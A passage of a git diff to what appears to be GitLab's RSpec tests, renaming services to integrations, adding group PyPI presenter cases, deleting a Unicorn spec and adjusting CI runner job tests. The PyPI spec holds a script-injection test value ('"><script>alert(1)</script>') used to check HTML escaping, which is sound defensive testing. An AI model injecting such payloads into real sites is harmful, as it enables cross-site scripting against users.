diff --git a/spec/presenters/clusters/cluster_presenter_spec.rb b/spec/presenters/clusters/cluster_presenter_spec.rb
index 2e8364b2987..c8da8a54f16 100644
--- a/spec/presenters/clusters/cluster_presenter_spec.rb
+++ b/spec/presenters/clusters/cluster_presenter_spec.rb
@@ -304,9 +304,9 @@ RSpec.describe Clusters::ClusterPresenter do
expect(presenter.gitlab_managed_apps_logs_path).to eq k8s_project_logs_path(project, cluster_id: cluster.id, format: :json)
end
- context 'cluster has elastic stack application installed' do
+ context 'cluster has elastic stack integration enabled' do
before do
- create(:clusters_applications_elastic_stack, :installed, cluster: cluster)
+ create(:clusters_integrations_elastic_stack, cluster: cluster)
end
it 'returns path to logs' do
diff --git a/spec/presenters/merge_request_presenter_spec.rb b/spec/presenters/merge_request_presenter_spec.rb
index 76b77ee0de2..c64f9e8465f 100644
--- a/spec/presenters/merge_request_presenter_spec.rb
+++ b/spec/presenters/merge_request_presenter_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe MergeRequestPresenter do
context 'when no head pipeline' do
it 'return status using CiService' do
- ci_service = double(MockCiService)
+ ci_service = double(Integrations::MockCi)
ci_status = double
allow(resource.source_project)
diff --git a/spec/presenters/packages/detail/package_presenter_spec.rb b/spec/presenters/packages/detail/package_presenter_spec.rb
index d8f1c98e762..3009f2bd56d 100644
--- a/spec/presenters/packages/detail/package_presenter_spec.rb
+++ b/spec/presenters/packages/detail/package_presenter_spec.rb
@@ -19,7 +19,8 @@ RSpec.describe ::Packages::Detail::PackagePresenter do
size: file.size,
file_md5: file.file_md5,
file_sha1: file.file_sha1,
- file_sha256: file.file_sha256
+ file_sha256: file.file_sha256,
+ id: file.id
}
end
end
diff --git a/spec/presenters/packages/pypi/package_presenter_spec.rb b/spec/presenters/packages/pypi/package_presenter_spec.rb
index e4d234a4688..25aa5c31034 100644
--- a/spec/presenters/packages/pypi/package_presenter_spec.rb
+++ b/spec/presenters/packages/pypi/package_presenter_spec.rb
@@ -5,45 +5,52 @@ require 'spec_helper'
RSpec.describe ::Packages::Pypi::PackagePresenter do
using RSpec::Parameterized::TableSyntax
- let_it_be(:project) { create(:project) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
let_it_be(:package_name) { 'sample-project' }
let_it_be(:package1) { create(:pypi_package, project: project, name: package_name, version: '1.0.0') }
let_it_be(:package2) { create(:pypi_package, project: project, name: package_name, version: '2.0.0') }
let(:packages) { [package1, package2] }
- let(:presenter) { described_class.new(packages, project) }
- describe '#body' do
- subject { presenter.body}
+ let(:file) { package.package_files.first }
+ let(:filename) { file.file_name }
- shared_examples_for "pypi package presenter" do
- let(:file) { package.package_files.first }
- let(:filename) { file.file_name }
- let(:expected_file) { "<a href=\"http://localhost/api/v4/projects/#{project.id}/packages/pypi/files/#{file.file_sha256}/#{filename}#sha256=#{file.file_sha256}\" data-requires-python=\"#{expected_python_version}\">#{filename}</a><br>" }
+ subject(:presenter) { described_class.new(packages, project_or_group).body}
- before do
- package.pypi_metadatum.required_python = python_version
+ describe '#body' do
+ shared_examples_for "pypi package presenter" do
+ where(:version, :expected_version, :with_package1) do
+ '>=2.7' | '&gt;=2.7' | true
+ '"><script>alert(1)</script>' | '&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;' | true
+ '>=2.7, !=3.0' | '&gt;=2.7, !=3.0' | false
end
- it { is_expected.to include expected_file }
- end
+ with_them do
+ let(:python_version) { version }
+ let(:expected_python_version) { expected_version }
+ let(:package) { with_package1 ? package1 : package2 }
- it_behaves_like "pypi package presenter" do
- let(:python_version) { '>=2.7' }
- let(:expected_python_version) { '&gt;=2.7' }
- let(:package) { package1 }
+ before do
+ package.pypi_metadatum.required_python = python_version
+ end
+
+ it { is_expected.to include expected_file }
+ end
end
- it_behaves_like "pypi package presenter" do
- let(:python_version) { '"><script>alert(1)</script>' }
- let(:expected_python_version) { '&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;' }
- let(:package) { package1 }
+ context 'for project' do
+ let(:project_or_group) { project }
+ let(:expected_file) { "<a href=\"http://localhost/api/v4/projects/#{project.id}/packages/pypi/files/#{file.file_sha256}/#{filename}#sha256=#{file.file_sha256}\" data-requires-python=\"#{expected_python_version}\">#{filename}</a><br>" }
+
+ it_behaves_like 'pypi package presenter'
end
- it_behaves_like "pypi package presenter" do
- let(:python_version) { '>=2.7, !=3.0' }
- let(:expected_python_version) { '&gt;=2.7, !=3.0' }
- let(:package) { package2 }
+ context 'for group' do
+ let(:project_or_group) { group }
+ let(:expected_file) { "<a href=\"http://localhost/api/v4/groups/#{group.id}/-/packages/pypi/files/#{file.file_sha256}/#{filename}#sha256=#{file.file_sha256}\" data-requires-python=\"#{expected_python_version}\">#{filename}</a><br>" }
+
+ it_behaves_like 'pypi package presenter'
end
end
end
diff --git a/spec/presenters/project_presenter_spec.rb b/spec/presenters/project_presenter_spec.rb
index c834e183e5e..fd75c8411d5 100644
--- a/spec/presenters/project_presenter_spec.rb
+++ b/spec/presenters/project_presenter_spec.rb
@@ -585,7 +585,7 @@ RSpec.describe ProjectPresenter do
"can_push_code" => "true",
"original_branch" => "master",
"path" => "/#{project.full_path}/-/create/master",
- "project_path" => project.path,
+ "project_path" => project.full_path,
"target_branch" => "master"
}
)
diff --git a/spec/presenters/release_presenter_spec.rb b/spec/presenters/release_presenter_spec.rb
index 97c05a1b7a2..b2e7b684644 100644
--- a/spec/presenters/release_presenter_spec.rb
+++ b/spec/presenters/release_presenter_spec.rb
@@ -77,14 +77,6 @@ RSpec.describe ReleasePresenter do
it 'returns merge requests url with state=open' do
is_expected.to eq(project_merge_requests_url(project, opened_url_params))
end
-
- context 'when release_mr_issue_urls feature flag is disabled' do
- before do
- stub_feature_flags(release_mr_issue_urls: false)
- end
-
- it { is_expected.to be_nil }
- end
end
describe '#merged_merge_requests_url' do
@@ -93,14 +85,6 @@ RSpec.describe ReleasePresenter do
it 'returns merge requests url with state=merged' do
is_expected.to eq(project_merge_requests_url(project, merged_url_params))
end
-
- context 'when release_mr_issue_urls feature flag is disabled' do
- before do
- stub_feature_flags(release_mr_issue_urls: false)
- end
-
- it { is_expected.to be_nil }
- end
end
describe '#closed_merge_requests_url' do
@@ -109,14 +93,6 @@ RSpec.describe ReleasePresenter do
it 'returns merge requests url with state=closed' do
is_expected.to eq(project_merge_requests_url(project, closed_url_params))
end
-
- context 'when release_mr_issue_urls feature flag is disabled' do
- before do
- stub_feature_flags(release_mr_issue_urls: false)
- end
-
- it { is_expected.to be_nil }
- end
end
describe '#opened_issues_url' do
@@ -125,14 +101,6 @@ RSpec.describe ReleasePresenter do
it 'returns issues url with state=open' do
is_expected.to eq(project_issues_url(project, opened_url_params))
end
-
- context 'when release_mr_issue_urls feature flag is disabled' do
- before do
- stub_feature_flags(release_mr_issue_urls: false)
- end
-
- it { is_expected.to be_nil }
- end
end
describe '#closed_issues_url' do
@@ -141,14 +109,6 @@ RSpec.describe ReleasePresenter do
it 'returns issues url with state=closed' do
is_expected.to eq(project_issues_url(project, closed_url_params))
end
-
- context 'when release_mr_issue_urls feature flag is disabled' do
- before do
- stub_feature_flags(release_mr_issue_urls: false)
- end
-
- it { is_expected.to be_nil }
- end
end
describe '#edit_url' do
diff --git a/spec/presenters/service_hook_presenter_spec.rb b/spec/presenters/service_hook_presenter_spec.rb
index bc6e505d9e1..7d7b71f324a 100644
--- a/spec/presenters/service_hook_presenter_spec.rb
+++ b/spec/presenters/service_hook_presenter_spec.rb
@@ -4,15 +4,15 @@ require 'spec_helper'
RSpec.describe ServiceHookPresenter do
let(:web_hook_log) { create(:web_hook_log, web_hook: service_hook) }
- let(:service_hook) { create(:service_hook, integration: service) }
- let(:service) { create(:drone_ci_service, project: project) }
+ let(:service_hook) { create(:service_hook, integration: integration) }
+ let(:integration) { create(:drone_ci_integration, project: project) }
let(:project) { create(:project) }
describe '#logs_details_path' do
subject { service_hook.present.logs_details_path(web_hook_log) }
let(:expected_path) do
- "/#{project.namespace.path}/#{project.name}/-/services/#{service.to_param}/hook_logs/#{web_hook_log.id}"
+ "/#{project.namespace.path}/#{project.name}/-/services/#{integration.to_param}/hook_logs/#{web_hook_log.id}"
end
it { is_expected.to eq(expected_path) }
@@ -22,7 +22,7 @@ RSpec.describe ServiceHookPresenter do
subject { service_hook.present.logs_retry_path(web_hook_log) }
let(:expected_path) do
- "/#{project.namespace.path}/#{project.name}/-/services/#{service.to_param}/hook_logs/#{web_hook_log.id}/retry"
+ "/#{project.namespace.path}/#{project.name}/-/services/#{integration.to_param}/hook_logs/#{web_hook_log.id}/retry"
end
it { is_expected.to eq(expected_path) }
diff --git a/spec/presenters/web_hook_log_presenter_spec.rb b/spec/presenters/web_hook_log_presenter_spec.rb
index ec930be266d..aa9d1d8f545 100644
--- a/spec/presenters/web_hook_log_presenter_spec.rb
+++ b/spec/presenters/web_hook_log_presenter_spec.rb
@@ -18,10 +18,10 @@ RSpec.describe WebHookLogPresenter do
end
context 'service hook' do
- let(:web_hook) { create(:service_hook, integration: service) }
- let(:service) { create(:drone_ci_service, project: project) }
+ let(:web_hook) { create(:service_hook, integration: integration) }
+ let(:integration) { create(:drone_ci_integration, project: project) }
- it { is_expected.to eq(project_service_hook_log_path(project, service, web_hook_log)) }
+ it { is_expected.to eq(project_service_hook_log_path(project, integration, web_hook_log)) }
end
end
@@ -38,10 +38,10 @@ RSpec.describe WebHookLogPresenter do
end
context 'service hook' do
- let(:web_hook) { create(:service_hook, integration: service) }
- let(:service) { create(:drone_ci_service, project: project) }
+ let(:web_hook) { create(:service_hook, integration: integration) }
+ let(:integration) { create(:drone_ci_integration, project: project) }
- it { is_expected.to eq(retry_project_service_hook_log_path(project, service, web_hook_log)) }
+ it { is_expected.to eq(retry_project_service_hook_log_path(project, integration, web_hook_log)) }
end
end
end
diff --git a/spec/rack_servers/unicorn_spec.rb b/spec/rack_servers/unicorn_spec.rb
deleted file mode 100644
index 52d44b6e7e0..00000000000
--- a/spec/rack_servers/unicorn_spec.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-# frozen_string_literal: true
-
-require 'fileutils'
-
-require 'excon'
-
-require 'spec_helper'
-
-RSpec.describe 'Unicorn' do
- before(:all) do
- project_root = File.expand_path('../..', __dir__)
-
- config_lines = File.read('config/unicorn.rb.example')
- .gsub('/home/git/gitlab', project_root)
- .gsub('/home/git', project_root)
- .split("\n")
-
- # Remove these because they make setup harder.
- config_lines = config_lines.reject do |line|
- %w[
- worker_processes
- listen
- pid
- stderr_path
- stdout_path
- ].any? { |prefix| line.start_with?(prefix) }
- end
-
- config_lines << "working_directory '#{Rails.root}'"
-
- # We want to have exactly 1 worker process because that makes it
- # predictable which process will handle our requests.
- config_lines << 'worker_processes 1'
-
- @socket_path = File.join(project_root, 'tmp/tests/unicorn.socket')
- config_lines << "listen '#{@socket_path}'"
-
- ready_file = File.join(project_root, 'tmp/tests/unicorn-worker-ready')
- FileUtils.rm_f(ready_file)
- after_fork_index = config_lines.index { |l| l.start_with?('after_fork') }
- config_lines.insert(after_fork_index + 1, "File.write('#{ready_file}', Process.pid)")
-
- config_path = File.join(project_root, 'tmp/tests/unicorn.rb')
- File.write(config_path, config_lines.join("\n") + "\n")
-
- cmd = %W[unicorn -E test -c #{config_path} spec/rack_servers/configs/config.ru]
- @unicorn_master_pid = spawn(*cmd)
- wait_unicorn_boot!(@unicorn_master_pid, ready_file)
- WebMock.allow_net_connect!
- end
-
- %w[SIGQUIT SIGTERM SIGKILL].each do |signal|
- it "has a worker that self-terminates on signal #{signal}" do
- response = Excon.get('unix://', socket: @socket_path)
- expect(response.status).to eq(200)
-
- worker_pid = response.body.to_i
- expect(worker_pid).to be > 0
-
- begin
- Excon.post("unix://?#{signal}", socket: @socket_path)
- rescue Excon::Error::Socket
- # The connection may be closed abruptly
- end
-
- expect(pid_gone?(worker_pid)).to eq(true)
- end
- end
-
- after(:all) do
- webmock_enable!
- Process.kill('TERM', @unicorn_master_pid)
- end
-
- def wait_unicorn_boot!(master_pid, ready_file)
- # We have seen the boot timeout after 2 minutes in CI so let's set it to 5 minutes.
- timeout = 5 * 60
- timeout.times do
- return if File.exist?(ready_file)
-
- pid = Process.waitpid(master_pid, Process::WNOHANG)
- raise "unicorn failed to boot: #{$?}" unless pid.nil?
-
- sleep 1
- end
-
- raise "unicorn boot timed out after #{timeout} seconds"
- end
-
- def pid_gone?(pid)
- # Worker termination should take less than a second. That makes 10
- # seconds a generous timeout.
- 10.times do
- begin
- Process.kill(0, pid)
- rescue Errno::ESRCH
- return true
- end
-
- sleep 1
- end
-
- false
- end
-end
diff --git a/spec/rake_helper.rb b/spec/rake_helper.rb
index b47240658e3..7df1cf7444f 100644
--- a/spec/rake_helper.rb
+++ b/spec/rake_helper.rb
@@ -6,18 +6,12 @@ require 'rake'
RSpec.configure do |config|
config.include RakeHelpers
- # Redirect stdout so specs don't have so much noise
config.before(:all) do
- $stdout = StringIO.new
-
Rake.application.rake_require 'tasks/gitlab/helpers'
Rake::Task.define_task :environment
end
- # Reset stdout
config.after(:all) do
- $stdout = STDOUT
-
delete_from_all_tables!
end
end
diff --git a/spec/requests/api/branches_spec.rb b/spec/requests/api/branches_spec.rb
index a38ba782c44..36fbe86ac76 100644
--- a/spec/requests/api/branches_spec.rb
+++ b/spec/requests/api/branches_spec.rb
@@ -8,8 +8,8 @@ RSpec.describe API::Branches do
let(:guest) { create(:user).tap { |u| project.add_guest(u) } }
let(:branch_name) { 'feature' }
let(:branch_sha) { '0b4bc9a49b562e85de7cc9e834518ea6828729b9' }
- let(:branch_with_dot) { project.repository.find_branch('ends-with.json') }
- let(:branch_with_slash) { project.repository.find_branch('improve/awesome') }
+ let(:branch_with_dot) { 'ends-with.json' }
+ let(:branch_with_slash) { 'improve/awesome' }
let(:project_id) { project.id }
let(:current_user) { nil }
@@ -105,7 +105,7 @@ RSpec.describe API::Branches do
expect(response).to have_gitlab_http_status(:ok)
expect(response).to match_response_schema('public_api/v4/branches')
- expect(response.headers).not_to include('Link', 'Links')
+ expect(response.headers).not_to include('Link')
branch_names = json_response.map { |x| x['name'] }
expect(branch_names).to match_array(project.repository.branch_names)
end
@@ -116,7 +116,7 @@ RSpec.describe API::Branches do
get api(route, current_user), params: base_params.merge(per_page: 2)
expect(response).to have_gitlab_http_status(:ok)
- expect(response.headers).to include('Link', 'Links')
+ expect(response.headers).to include('Link')
expect(json_response.count).to eq 2
check_merge_status(json_response)
@@ -285,6 +285,13 @@ RSpec.describe API::Branches do
let(:request) { get api(route, current_user) }
end
end
+
+ context 'when repository does not exist' do
+ it_behaves_like '404 response' do
+ let(:project) { create(:project, creator: user) }
+ let(:request) { get api(route, current_user) }
+ end
+ end
end
context 'when unauthenticated', 'and project is public' do
@@ -320,19 +327,19 @@ RSpec.describe API::Branches do
end
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository branch'
end
context 'when branch contains dot txt' do
- let(:branch_name) { project.repository.find_branch('ends-with.txt').name }
+ let(:branch_name) { 'ends-with.txt' }
it_behaves_like 'repository branch'
end
context 'when branch contains a slash' do
- let(:branch_name) { branch_with_slash.name }
+ let(:branch_name) { branch_with_slash }
it_behaves_like '404 response' do
let(:request) { get api(route, current_user) }
@@ -340,7 +347,7 @@ RSpec.describe API::Branches do
end
context 'when branch contains an escaped slash' do
- let(:branch_name) { CGI.escape(branch_with_slash.name) }
+ let(:branch_name) { CGI.escape(branch_with_slash) }
it_behaves_like 'repository branch'
end
@@ -351,7 +358,7 @@ RSpec.describe API::Branches do
it_behaves_like 'repository branch'
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository branch'
end
@@ -475,13 +482,13 @@ RSpec.describe API::Branches do
it_behaves_like 'repository new protected branch'
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository new protected branch'
end
context 'when branch contains a slash' do
- let(:branch_name) { branch_with_slash.name }
+ let(:branch_name) { branch_with_slash }
it_behaves_like '404 response' do
let(:request) { put api(route, current_user) }
@@ -489,7 +496,7 @@ RSpec.describe API::Branches do
end
context 'when branch contains an escaped slash' do
- let(:branch_name) { CGI.escape(branch_with_slash.name) }
+ let(:branch_name) { CGI.escape(branch_with_slash) }
it_behaves_like 'repository new protected branch'
end
@@ -500,7 +507,7 @@ RSpec.describe API::Branches do
it_behaves_like 'repository new protected branch'
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository new protected branch'
end
@@ -609,13 +616,13 @@ RSpec.describe API::Branches do
it_behaves_like 'repository unprotected branch'
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository unprotected branch'
end
context 'when branch contains a slash' do
- let(:branch_name) { branch_with_slash.name }
+ let(:branch_name) { branch_with_slash }
it_behaves_like '404 response' do
let(:request) { put api(route, current_user) }
@@ -623,7 +630,7 @@ RSpec.describe API::Branches do
end
context 'when branch contains an escaped slash' do
- let(:branch_name) { CGI.escape(branch_with_slash.name) }
+ let(:branch_name) { CGI.escape(branch_with_slash) }
it_behaves_like 'repository unprotected branch'
end
@@ -634,7 +641,7 @@ RSpec.describe API::Branches do
it_behaves_like 'repository unprotected branch'
context 'when branch contains a dot' do
- let(:branch_name) { branch_with_dot.name }
+ let(:branch_name) { branch_with_dot }
it_behaves_like 'repository unprotected branch'
end
@@ -732,7 +739,7 @@ RSpec.describe API::Branches do
end
it 'removes a branch with dots in the branch name' do
- delete api("/projects/#{project.id}/repository/branches/#{branch_with_dot.name}", user)
+ delete api("/projects/#{project.id}/repository/branches/#{branch_with_dot}", user)
expect(response).to have_gitlab_http_status(:no_content)
end
diff --git a/spec/requests/api/ci/runner/jobs_put_spec.rb b/spec/requests/api/ci/runner/jobs_put_spec.rb
index 3d5021fba08..8c95748aa5f 100644
--- a/spec/requests/api/ci/runner/jobs_put_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_put_spec.rb
@@ -17,18 +17,14 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
describe '/api/v4/jobs' do
- let(:group) { create(:group, :nested) }
- let(:project) { create(:project, namespace: group, shared_runners_enabled: false) }
- let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master') }
- let(:runner) { create(:ci_runner, :project, projects: [project]) }
- let(:user) { create(:user) }
- let(:job) do
- create(:ci_build, :artifacts, :extended_options,
- pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0)
- end
+ let_it_be(:group) { create(:group, :nested) }
+ let_it_be(:project) { create(:project, namespace: group, shared_runners_enabled: false) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, ref: 'master') }
+ let_it_be(:runner) { create(:ci_runner, :project, projects: [project]) }
+ let_it_be(:user) { create(:user) }
describe 'PUT /api/v4/jobs/:id' do
- let(:job) do
+ let_it_be_with_reload(:job) do
create(:ci_build, :pending, :trace_live, pipeline: pipeline, project: project, user: user, runner_id: runner.id)
end
@@ -204,53 +200,6 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
- context 'when trace is given' do
- it 'creates a trace artifact' do
- allow(BuildFinishedWorker).to receive(:perform_async).with(job.id) do
- ArchiveTraceWorker.new.perform(job.id)
- end
-
- update_job(state: 'success', trace: 'BUILD TRACE UPDATED')
-
- job.reload
- expect(response).to have_gitlab_http_status(:ok)
- expect(job.trace.raw).to eq 'BUILD TRACE UPDATED'
- expect(job.job_artifacts_trace.open.read).to eq 'BUILD TRACE UPDATED'
- end
-
- context 'when concurrent update of trace is happening' do
- before do
- job.trace.write('wb') do
- update_job(state: 'success', trace: 'BUILD TRACE UPDATED')
- end
- end
-
- it 'returns that operation conflicts' do
- expect(response).to have_gitlab_http_status(:conflict)
- end
- end
- end
-
- context 'when no trace is given' do
- it 'does not override trace information' do
- update_job
-
- expect(job.reload.trace.raw).to eq 'BUILD TRACE'
- end
-
- context 'when running state is sent' do
- it 'updates update_at value' do
- expect { update_job_after_time }.to change { job.reload.updated_at }
- end
- end
-
- context 'when other state is sent' do
- it "doesn't update update_at value" do
- expect { update_job_after_time(20.minutes, state: 'success') }.not_to change { job.reload.updated_at }
- end
- end
- end
-
context 'when job has been erased' do
let(:job) { create(:ci_build, runner_id: runner.id, erased_at: Time.now) }
@@ -267,20 +216,19 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
job.drop!(:script_failure)
end
- it 'does not update job status and job trace' do
- update_job(state: 'success', trace: 'BUILD TRACE UPDATED')
+ it 'does not update job status' do
+ update_job(state: 'success')
job.reload
expect(response).to have_gitlab_http_status(:forbidden)
expect(response.header['Job-Status']).to eq 'failed'
- expect(job.trace.raw).to eq 'Job failed'
expect(job).to be_failed
end
end
context 'when job does not exist anymore' do
it 'returns 403 Forbidden' do
- update_job(non_existing_record_id, state: 'success', trace: 'BUILD TRACE UPDATED')
+ update_job(non_existing_record_id, state: 'success')
expect(response).to have_gitlab_http_status(:forbidden)
end
diff --git a/spec/requests/api/ci/runner/jobs_request_post_spec.rb b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
index 63da3340a45..8896bd44077 100644
--- a/spec/requests/api/ci/runner/jobs_request_post_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_request_post_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
let(:runner) { create(:ci_runner, :project, projects: [project]) }
let(:user) { create(:user) }
let(:job) do
- create(:ci_build, :artifacts, :extended_options,
+ create(:ci_build, :pending, :queued, :artifacts, :extended_options,
pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0)
end
@@ -129,7 +129,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when other projects have pending jobs' do
before do
job.success
- create(:ci_build, :pending)
+ create(:ci_build, :pending, :queued)
end
it_behaves_like 'no jobs available'
@@ -239,7 +239,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when job is made for tag' do
- let!(:job) { create(:ci_build, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
it 'sets branch as ref_type' do
request_job
@@ -297,7 +297,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when job filtered by job_age' do
- let!(:job) { create(:ci_build, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0, queued_at: 60.seconds.ago) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0, queued_at: 60.seconds.ago) }
context 'job is queued less than job_age parameter' do
let(:job_age) { 120 }
@@ -359,7 +359,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when job is for a release' do
- let!(:job) { create(:ci_build, :release_options, pipeline: pipeline) }
+ let!(:job) { create(:ci_build, :pending, :queued, :release_options, pipeline: pipeline) }
context 'when `multi_build_steps` is passed by the runner' do
it 'exposes release info' do
@@ -398,7 +398,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when job is made for merge request' do
let(:pipeline) { create(:ci_pipeline, source: :merge_request_event, project: project, ref: 'feature', merge_request: merge_request) }
- let!(:job) { create(:ci_build, pipeline: pipeline, name: 'spinach', ref: 'feature', stage: 'test', stage_idx: 0) }
+ let!(:job) { create(:ci_build, :pending, :queued, pipeline: pipeline, name: 'spinach', ref: 'feature', stage: 'test', stage_idx: 0) }
let(:merge_request) { create(:merge_request) }
it 'sets branch as ref_type' do
@@ -439,6 +439,13 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
end
+ it "sets the runner's config" do
+ request_job info: { 'config' => { 'gpus' => 'all', 'ignored' => 'hello' } }
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(runner.reload.config).to eq( { 'gpus' => 'all' } )
+ end
+
it "sets the runner's ip_address" do
post api('/jobs/request'),
params: { token: runner.token },
@@ -472,9 +479,9 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when project and pipeline have multiple jobs' do
- let!(:job) { create(:ci_build, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
- let!(:job2) { create(:ci_build, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
- let!(:test_job) { create(:ci_build, pipeline: pipeline, name: 'deploy', stage: 'deploy', stage_idx: 1) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
+ let!(:job2) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
+ let!(:test_job) { create(:ci_build, :pending, :queued, pipeline: pipeline, name: 'deploy', stage: 'deploy', stage_idx: 1) }
before do
job.success
@@ -524,8 +531,8 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when pipeline have jobs with artifacts' do
- let!(:job) { create(:ci_build, :tag, :artifacts, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
- let!(:test_job) { create(:ci_build, pipeline: pipeline, name: 'deploy', stage: 'deploy', stage_idx: 1) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, :artifacts, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
+ let!(:test_job) { create(:ci_build, :pending, :queued, pipeline: pipeline, name: 'deploy', stage: 'deploy', stage_idx: 1) }
before do
job.success
@@ -544,10 +551,10 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when explicit dependencies are defined' do
- let!(:job) { create(:ci_build, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
- let!(:job2) { create(:ci_build, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
+ let!(:job2) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
let!(:test_job) do
- create(:ci_build, pipeline: pipeline, token: 'test-job-token', name: 'deploy',
+ create(:ci_build, :pending, :queued, pipeline: pipeline, token: 'test-job-token', name: 'deploy',
stage: 'deploy', stage_idx: 1,
options: { script: ['bash'], dependencies: [job2.name] })
end
@@ -568,10 +575,10 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
context 'when dependencies is an empty array' do
- let!(:job) { create(:ci_build, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
- let!(:job2) { create(:ci_build, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
+ let!(:job) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'spinach', stage: 'test', stage_idx: 0) }
+ let!(:job2) { create(:ci_build, :pending, :queued, :tag, pipeline: pipeline, name: 'rubocop', stage: 'test', stage_idx: 0) }
let!(:empty_dependencies_job) do
- create(:ci_build, pipeline: pipeline, token: 'test-job-token', name: 'empty_dependencies_job',
+ create(:ci_build, :pending, :queued, pipeline: pipeline, token: 'test-job-token', name: 'empty_dependencies_job',
stage: 'deploy', stage_idx: 1,
options: { script: ['bash'], dependencies: [] })
end
@@ -732,7 +739,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
end
describe 'port support' do
- let(:job) { create(:ci_build, pipeline: pipeline, options: options) }
+ let(:job) { create(:ci_build, :pending, :queued, pipeline: pipeline, options: options) }
context 'when job image has ports' do
let(:options) do
@@ -784,7 +791,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
describe 'a job with excluded artifacts' do
context 'when excluded paths are defined' do
let(:job) do
- create(:ci_build, pipeline: pipeline, token: 'test-job-token', name: 'test',
+ create(:ci_build, :pending, :queued, pipeline: pipeline, token: 'test-job-token', name: 'test',
stage: 'deploy', stage_idx: 1,
options: { artifacts: { paths: ['abc'], exclude: ['cde'] } })
end
@@ -832,7 +839,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
subject { request_job }
context 'when triggered by a user' do
- let(:job) { create(:ci_build, user: user, project: project) }
+ let(:job) { create(:ci_build, :pending, :queued, user: user, project: project) }
subject { request_job(id: job.id) }
diff --git a/spec/requests/api/ci/runner/runners_post_spec.rb b/spec/requests/api/ci/runner/runners_post_spec.rb
index b38630183f4..1696fe63d5d 100644
--- a/spec/requests/api/ci/runner/runners_post_spec.rb
+++ b/spec/requests/api/ci/runner/runners_post_spec.rb
@@ -94,7 +94,7 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
context 'when it exceeds the application limits' do
before do
- create(:ci_runner, runner_type: :project_type, projects: [project])
+ create(:ci_runner, runner_type: :project_type, projects: [project], contacted_at: 1.second.ago)
create(:plan_limits, :default_plan, ci_registered_project_runners: 1)
end
@@ -106,6 +106,22 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state do
expect(project.runners.reload.size).to eq(1)
end
end
+
+ context 'when abandoned runners cause application limits to not be exceeded' do
+ before do
+ create(:ci_runner, runner_type: :project_type, projects: [project], created_at: 14.months.ago, contacted_at: 13.months.ago)
